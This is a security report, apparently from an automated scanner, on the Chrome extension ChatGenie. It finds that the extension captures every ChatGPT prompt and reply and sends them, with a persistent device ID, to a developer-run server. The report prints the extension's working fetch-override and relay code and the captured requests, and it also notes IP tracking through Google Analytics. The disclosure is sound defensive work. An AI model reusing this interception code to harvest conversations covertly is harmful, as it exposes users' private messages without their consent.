Is ChatGenie for Chatgpt safe?

High risk

ChatGenie is high risk. ChatGenie reads every message you send ChatGPT and every reply it gives, then forwards the full text to a server the developer controls, along with a persistent per-device ID. We confirmed this with a planted test prompt.…

Moses Guyenv1.1.6Chrome Web Store
76Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

ChatGenie sends every ChatGPT prompt and reply to a third-party server

ChatGenie reads every message you send ChatGPT and every reply it gives, then forwards the full text to a server the developer controls, along with a persistent per-device ID.

We confirmed this with a planted test prompt.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You type a message to ChatGPT on chatgpt.com and wait for its reply to finish streaming.

No extension UI action is needed; this happens on ordinary use of chatgpt.com.

The extension did this

The extension reconstructs your full message and ChatGPT's full reply from the network response, then sends both to a server it controls.

A persistent per-device ID is attached to the request.

The code that does this

Fetch override captures the conversation, then the service worker POSTs it out

Readable version

MAIN-world fetch override

content-script-main.js
function installFetchOverride() {  if (!location.href.toLowerCase().startsWith('https://chatgpt.com/')) return false;  const { fetch: originalFetch } = window;  function isConversationRequest(url) {    try {      return new URL(url).pathname.endsWith('/conversation');    } catch {      return false;    }  }  window.fetch = async (...args) => {    const [request, init] = args;    const url = request.url || request.toString();    const response = await originalFetch(...args);    const contentType = response.headers.get('content-type') || '';    if (!isConversationRequest(url) || !contentType.includes('text/event-stream')) {      return response;    }    let requestBody;    try { requestBody = JSON.parse(init.body); } catch {}    let conversationId = requestBody.conversation_id;    const outgoingMessages = requestBody.messages;    const { readable, writable } = new TransformStream();    if (response.body) {      const reader = response.body.getReader();      const writer = writable.getWriter();      const decoder = new TextDecoder();      let buffer = '', replyText = '', replyMessageId = '', model = '';      (async () => {        while (true) {          const { done, value } = await reader.read();          if (done) break;          buffer += decoder.decode(value, { stream: true });          let boundary;          while ((boundary = buffer.indexOf('\n\n')) !== -1) {            const rawEvent = buffer.slice(0, boundary).trim();            buffer = buffer.slice(boundary + 2);            if (!rawEvent) continue;            const evt = parseSSE(rawEvent);            if (evt.event === 'delta' || evt.event === 'message') {              let data;              try { data = JSON.parse(evt.data); } catch {}              if (data) {                if (typeof data.v === 'string') {                  replyText += data.v;                } else if (data.v && data.v.length > 0) {                  for (const op of data.v) {                    if (op.v && op.o === 'append' && typeof op.v === 'string') replyText += op.v;                  }                } else if (data.v && data.v.message && data.v.message.id) {                  replyMessageId = data.v.message.id;                } else if (data.metadata) {                  if (data.conversation_id) conversationId = data.conversation_id;                  if (data.metadata.model_slug) model = data.metadata.model_slug;                }              }            }            writer.write(value);          }        }        writer.close();        for (const msg of outgoingMessages || []) {          if (msg.content && msg.content.parts && msg.content.parts.length > 0) {            postToPage({              client_ts: Date.now(), session_id: conversationId, message_id: msg.id,              chat_domain: 'chatgpt.com', model, prompt: msg.content.parts.join(''),              role: 'user', is_subscribed: false, language: ''            });          }        }        postToPage({          client_ts: Date.now(), session_id: conversationId, message_id: replyMessageId,          chat_domain: 'chatgpt.com', model, prompt: replyText,          role: 'system', is_subscribed: false, language: ''        });      })();      return new Response(readable, { headers: response.headers, status: response.status, statusText: response.statusText });    }    return response;  };  return true;};function postToPage(payload) {  window.postMessage({ source: 'content-script', payload });}function parseSSE(rawEvent) {  const lines = rawEvent.split(/\r?\n/);  const evt = { event: 'message', data: '', id: '', retry: '' };  for (const line of lines) {    if (line.startsWith(':')) continue;    const [field, ...rest] = line.split(':');    const value = rest.join(':').trimStart();    if (field === 'event') evt.event = value;    else if (field === 'data') evt.data += value + '\n';    else if (field === 'id') evt.id = value;    else if (field === 'retry') evt.retry = value;  }  if (evt.data.endsWith('\n')) evt.data = evt.data.slice(0, -1);  return evt;}

Isolated-world relay to the background service worker

content-script.js
const MSG_TYPE = 'leak_prevention_msg';function relayToBackground() {  if (window.top !== window) return false; // only run in the top frame  return window.addEventListener('message', (event) => {    if (event.source !== window || !event.data || event.data.source !== 'content-script') return;    chrome.runtime.sendMessage({ type: MSG_TYPE, data: event.data.payload });  }), true;}

Background service worker POSTs to the leak-prevention endpoint

background.js
const MSG_TYPE = 'leak_prevention_msg';const LEAK_PREVENTION_ENDPOINT = 'https://api.chatgpt-chrome.com/api/leakprevention/v2/check';function showSensitiveWarning() {  alert("Your prompt may have sensitive information inside. This message won't be shown again for this tab.");}async function submitForScreening(payload, tabId) {  payload.cid = await Analytics.getOrCreateClientId(); // persistent per-device UUID, reused forever  const response = await fetch(LEAK_PREVENTION_ENDPOINT, {    method: 'POST',    headers: { 'Content-Type': 'application/json' },    body: JSON.stringify(payload)  });  if (response.ok) {    const result = await response.json();    if (result.verdict === 'unsafe' && tabId) {      const shownKey = `shown_${tabId}`;      const alreadyShown = await chrome.storage.session.get([shownKey]);      if (!alreadyShown[shownKey]) {        await chrome.storage.session.set({ [shownKey]: true });        await chrome.scripting.executeScript({ target: { tabId }, func: showSensitiveWarning });      }    }  }}function initLeakPreventionListener() {  chrome.runtime.onMessage.addListener((message, sender) => {    if (message && message.type === MSG_TYPE) {      submitForScreening(message.data, sender.tab && sender.tab.id);    }  });  return true;}
Captured request
POSThttps://api.chatgpt-chrome.com/api/leakprevention/v2/check

200 OK with a JSON {verdict} field; when verdict is 'unsafe' the extension shows a one-time in-page warning, but the prompt has already left the device regardless of the verdict.

Headers
Content-Type
application/json
Body
{  "client_ts": 1725389421000,  "session_id": "68a1e4c2-1f09-4b7a-9c3e-2d6f8a1b7c44",  "message_id": "a3f7e912-88c4-4a1b-9e02-7d5c1f3a9b60",  "chat_domain": "chatgpt.com",  "model": "gpt-4o",  "prompt": "What are the side effects of ibuprofen? (illustrative)",  "role": "user",  "is_subscribed": false,  "language": "",  "cid": "4e1a9f7c-2b83-4c56-8e70-1a9d3f6b7c02"}
Fields observed in the POST to api.chatgpt-chrome.com
  • Your message text
    What are the side effects of ibuprofen?

    The full text you typed to ChatGPT, unmodified.

  • ChatGPT's reply text
    Common side effects of ibuprofen include stomach upset...

    The full text of the AI's response to your message.

  • Device ID (cid)
    4e1a9f7c-2b83-4c56-8e70-1a9d3f6b7c02

    A UUID stored in chrome.storage.local and reused indefinitely, tying every submission back to the same device.

  • Conversation ID
    68a1e4c2-1f09-4b7a-9c3e-2d6f8a1b7c44

    ChatGPT's own conversation identifier, letting the receiving server group your messages by conversation.

  • Model used
    gpt-4o

    Which ChatGPT model produced the answer.

Where your conversation goes
    • api.chatgpt-chrome.com

    Receives the full prompt and AI reply text plus the persistent device ID on every ChatGPT conversation turn. Operated by ChatGenie's developer, not OpenAI.

Persistent UUID and public IP forwarded to Google Analytics on every startup

Each time the extension starts, it generates or reuses a persistent ID and fetches your public IP from a third party, both sent to Google Analytics with a session ID for cross-restart tracking.

Also sent to the extension's screening server.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
Captured request
POSThttps://www.google-analytics.com/mp/collect?measurement_id=G-PX7SG4VBV5&api_secret=<redacted>
Headers
Content-Type
application/json
Body
{  "client_id": "0e76aeab-713b-44d2-9be7-24ec739415f2",  "ip_override": "82.3.220.102",  "events": [    {      "name": "run",      "params": {        "session_id": "1717750412831",        "engagement_time_msec": 100      }    }  ]}
Third-party destinations
    • www.google-analytics.com

    GA4 Measurement Protocol analytics receiver

    • checkip.amazonaws.com

    Public IP address lookup (plain-text response)

    • api.chatgpt-chrome.com

    Extension developer's prompt-screening / leak-prevention API

What it can do

Permissions this extension asks for, as declared in version 1.1.6. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Schedule its own background tasks

    alarms

  • Store data in your browser

    storage

  • Add items to the right-click menu

    contextMenus

  • Run its own code inside the pages you visit

    scripting

  • Block and redirect the requests your browser makes

    declarativeNetRequest

Updated 30 September 2026lgfokdfepidpjodalhpbjindjackhidg